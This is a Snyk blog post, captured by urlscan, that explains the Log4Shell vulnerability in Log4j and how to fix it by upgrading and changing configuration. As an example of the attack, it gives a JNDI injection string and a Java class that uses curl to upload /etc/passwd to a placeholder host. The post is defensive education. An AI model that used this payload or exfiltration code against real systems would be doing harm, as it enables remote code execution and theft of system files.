snyk.io Open in urlscan Pro
2a02:26f0:6d00:68e::ecd  Public Scan

Form analysis
0 forms found in the DOM

Text Content

You need to enable JavaScript to run this app.
 * Products
   Products
    * Snyk Code (SAST)
      Secure your code as it's written
    * Snyk Open Source (SCA)
      Avoid vulnerable dependencies
    * Snyk Container
      Keep your base images secure
    * Snyk Infrastructure as Code
      Fix misconfigurations in the cloud
    * Snyk AppRisk (ASPM)
      Reduce risk across your business
   
   Solutions
    * Application security
      Build secure, stay secure
    * Software supply chain security
      Mitigate supply chain risk
    * Secure AI-generated code
      AI writes, Snyk secures
    * Zero-day vulnerabilities
      Fix the first day with Snyk
   
   Platform
    * What is Snyk
      Developer-first security in action
    * Developer security platform
      Modern security in a single platform
    * Security Intelligence
      Comprehensive vulnerability data
    * License compliance management
      Manage open source usage
    * Snyk Learn
      Self-service security education
    * DeepCode AI
      Purpose-built security AI
    * Integrations
      Add Snyk to your tools & flows

 * Resources
   Using Snyk
    * Documentation
    * Vulnerability intelligence
    * Product training
    * Support & services
   
   Learn & Connect
    * Blog
    * Community
    * Events & webinars
    * DevSecOps hub
    * Developer & security resources

 * Company
    * About Snyk
    * Customers
    * Partners
    * Newsroom
    * Contact us
    * Jobs at Snyk

 * Pricing

Log inBook a live demoSign up
Snyk Blog


LOG4J VULNERABILITY EXPLAINED: PREVENT LOG4SHELL RCE BY UPDATING TO VERSION
2.17.1

Written by:

Brian Vermeer


December 10, 2021

5 mins read


EDITOR’S NOTE (28 DEC 2021 AT 7:35 P.M. GMT):

The Log4j team released a new security update that found 2.17.0 to be vulnerable
to remote code execution, identified by CVE-2021-44832. We recommend upgrading
to the latest version, which at this time is 2.17.1. Please note that the
Log4Shell situation is rapidly changing and we are updating our blogs as new
information becomes available.

Today (Dec.10, 2021), a new, critical Log4j vulnerability was disclosed:
Log4Shell. This vulnerability within the popular Java logging framework was
published as CVE-2021-44228, categorized as Critical with a CVSS score of 10
(the highest score possible). The vulnerability was discovered by Chen Zhaojun
from Alibaba's Cloud Security team.

Almost all versions of Log4j2 are affected, and you should update to version
2.17.1 to remediate. For full remediation advice, read our Log4Shell Remediation
Cheat Sheet.

Many application frameworks in the Java ecosystem use this logging framework by
default. For instance, Apache Struts 2, Apache Solr, and Apache Druid are all
affected. Aside from those, Apache Log4j is also used in many Spring and Spring
Boot applications, so we suggest you check your applications and update them to
the latest version.


HOW BAD IS LOG4SHELL?

The simple answer is “very bad”! The Log4Shell vulnerability was first spotted
in Minecraft. Microsoft rolled out an emergency patch to fix this problem
quickly. TechCrunch reports that Apple, Amazon, Twitter, and Cloudflare are
vulnerable to the Log4Shell attack. Per TechCrunch, "The Computer Emergency
Response Team (CERT) for New Zealand, Deutsche Telekom’s CERT, and
the Greynoise web monitoring service have all warned that attackers are actively
looking for servers vulnerable to Log4Shell attacks. According to the latter,
around 100 distinct hosts are scanning the internet for ways to exploit Log4j
vulnerability."


EXPLAINING THE LOG4SHELL VULNERABILITY

When using a vulnerable version of Log4j, any incoming data that gets logged can
lead to an RCE (remote code execution). When using JNDI (Java Naming and
Directory Interface) to connect for instance to an LDAP URL and log it (shown
below), it is possible to return a malicious payload with a code injection.

In the code snippet below, check out the argument that was given by a user. If
the argument doesn't comply, we log an error. But if the user input is
"${jndi:ldap://someurl/Evil}” we triggered the Log4Shell vulnerability because
we know it will be logged as an error.

1try {
2   checkout(arg);
3} catch (Exception e) {
4   logger.error("Failed to checkout with arg " + arg)
5}

If you know that input is getting logged with Log4j, you can set up an LDAP
server and return a compiled class file that executes some code. An example of
such a class can be seen below. This object sends my /etc/passwđ file to an
external URL using curl. Note that this user input can be hidden in for instance
the header of an HTTP call. When the logger evaluates the string, the call to
the malicious LDAP server will take place.

1public  class RefactoredName implements  ObjectFactory  {
2   @Override
3   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
4       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' http://someurl/upload");
5       return  null;
6   }
7}

According to this article by Luncasec about this issue, this impacts all Java
versions. JDK version greater than 6u211, 7u201, 8u191, and 11.0.1 did not seem
to be affected by this LDAP attack, because these versions set
com.sun.jndi.ldap.object.trustURLCodebase to false by default. However, if the
class, returned by the LDAP server, is already available on the classpath, it
will be executed even in newer versions of the JDK and even if
com.sun.jndi.ldap.object.trustURLCodebase is set to false.

This means that when there is a deserialization gadget chain available in the
application, it is possible to activate this deserialization and trigger the
remote code execution. A famous example is the Apache Commons Collections 3.1
library that includes a gadget chain, but can also be a combination of libraries
and classes in your applications that can form such a chain. Read our
Serialization and deserialization in Java: explaining the Java deserialize
vulnerability blog post for more information about deserialization issues.
Bottom line, all versions of Java are affected by this attack!


REMEDIATING THE LOG4SHELL VULNERABILITY

The easiest way to remediate this is to update to Log4j version 2.17.1 or later,
as this behavior is now disabled by default. In previous releases (>2.10) this
behavior can be mitigated by setting the system property
log4j2.formatMsgNoLookups to true by adding the following Java parameter:
-Dlog4j2.formatMsgNoLookups=true

Alternatively, you can mitigate this vulnerability by removing the JndiLookup
class from the classpath.

Check out our guide to learn how to find and fix Log4Shell vulnerabilities with
Snyk.


SCANNING AND UPDATING TO PREVENT VULNERABILITIES

This Log4j vulnerability once again shows that scanning your applications for
vulnerabilities is important, and something that you should do often to keep
your software supply chain secure. In addition, it is important to update your
Java distribution to the most recent release to benefit from the newer security
updates.

Scanning your application with Snyk Open Source will show you vulnerabilities in
your open source libraries, including this issue with Log4j. The example below
shows the output from my IntelliJ IDEA plugin mentioning this issue and the
remediation advice.




IS LOG4J VULNERABLE?

Yes. All versions of Log4j starting at 2.0-beta9 up to 2.14.1 are impacted by
the Log4Shell vulnerability. It’s a critical vulnerability that requires urgent
action. This vulnerability can lead to remote code execution (RCE) attacks.


WHAT USES LOG4J?

Log4j is extensively used across vendors, open source projects, frameworks and
top-level foundation projects. In addition to the millions of Java applications
using Log4j, many of the Apache Software Foundation’s own projects are making
use of Log4j themselves, such as Apache Solr, Apache Struts2, Apache Kafka,
Apache Druid, Apache Flink, Apache Swift and others.


HOW TO CHECK FOR LOG4J?

All versions starting at 2.0-beta9 up to 2.14.1 are impacted by the new
vulnerability, Snyk can show if you’re using the vulnerable versions of the
package and whether they’re being pulled into your dependency graph as a direct
or transitive dependency. Snyk also helps you automatically remediate Log4Shell
across your entire SDLC.


HOW TO FIX THE LOG4J VULNERABILITY?

The easiest way to remediate this is to update to Log4j version 2.17.1 or later,
as this behaviour is now disabled by default. Version 2.17.1 will also fix
CVE-2021-45046. This Log4j vulnerability once again shows that scanning your
applications for vulnerabilities is important, and something that you should do
often to keep your software supply chain secure. For more remediation advice,
see our Log4Shell remediation cheat sheet.


LIVE HACK: EXPLOITING AI-GENERATED CODE

Gain insights into best practices for utilizing generative AI coding tools
securely in our upcoming live hacking session.

Register now




Posted in:Vulnerability Insights, Open Source Security, Application Security

How CISOs are Transforming their DevSecOps Strategies

500 devs to 1 security professional is the reality of today. The security pro’s
role must transform into an aware, knowledgeable, supportive partner capable of
empowering developers to make security decisions.

See the playbook


Snyk is a developer security platform. Integrating directly into development
tools, workflows, and automation pipelines, Snyk makes it easy for teams to
find, prioritize, and fix security vulnerabilities in code, dependencies,
containers, and infrastructure as code. Supported by industry-leading
application and security intelligence, Snyk puts security expertise in any
developer’s toolkit.

Start freeBook a live demo
SelectEnglishDeutschFrançais日本語Português (BR)
EnglishDeutschFrançais日本語Português (BR)Select

Product

What is Snyk?Snyk Code (SAST)Snyk Open Source (SCA)Snyk ContainerSnyk
Infrastructure as CodeSnyk AppRisk (ASPM)Developer Security PlatformApplication
securitySoftware supply chain securitySecure AI-generated code DeepCode
AIPricingDeployment optionsIntegrationsIDE pluginsGit SecurityCI/CD pipelines
securitySnyk CLISnyk LearnSnyk for JavaScript

Resources

DocumentationSnyk API DocsAPI statusDisclosed vulnerabilitiesSupport portal &
FAQ’sBlogSecurity fundamentalsResources for security leadersResources for
ethical hackersDeveloper security educationVulnerability DatabaseSnyk OSS
AdvisorSnyk Top 10Videos

Company

AboutCustomersCareersEventsSnyk for governmentPress kitSecurity & trustLegal
termsPrivacyFor California residents: Do not sell my personal information

Connect

Book a live demoContact usSupportReport a new vuln

Security

Application SecurityContainer SecuritySupply Chain SecurityJavaScript
SecurityOpen Source SecurityAWS SecuritySecure SDLCSecurity postureSecure
codingEthical HackingAI in cybersecurityCode CheckerPythonEnterprise
CybersecurityJavaScriptSnyk With GitHubSnyk vs Veracode

© 2024 Snyk Limited
Registered in England and Wales

 * 
 * 
 * 
 * 
 * 
 *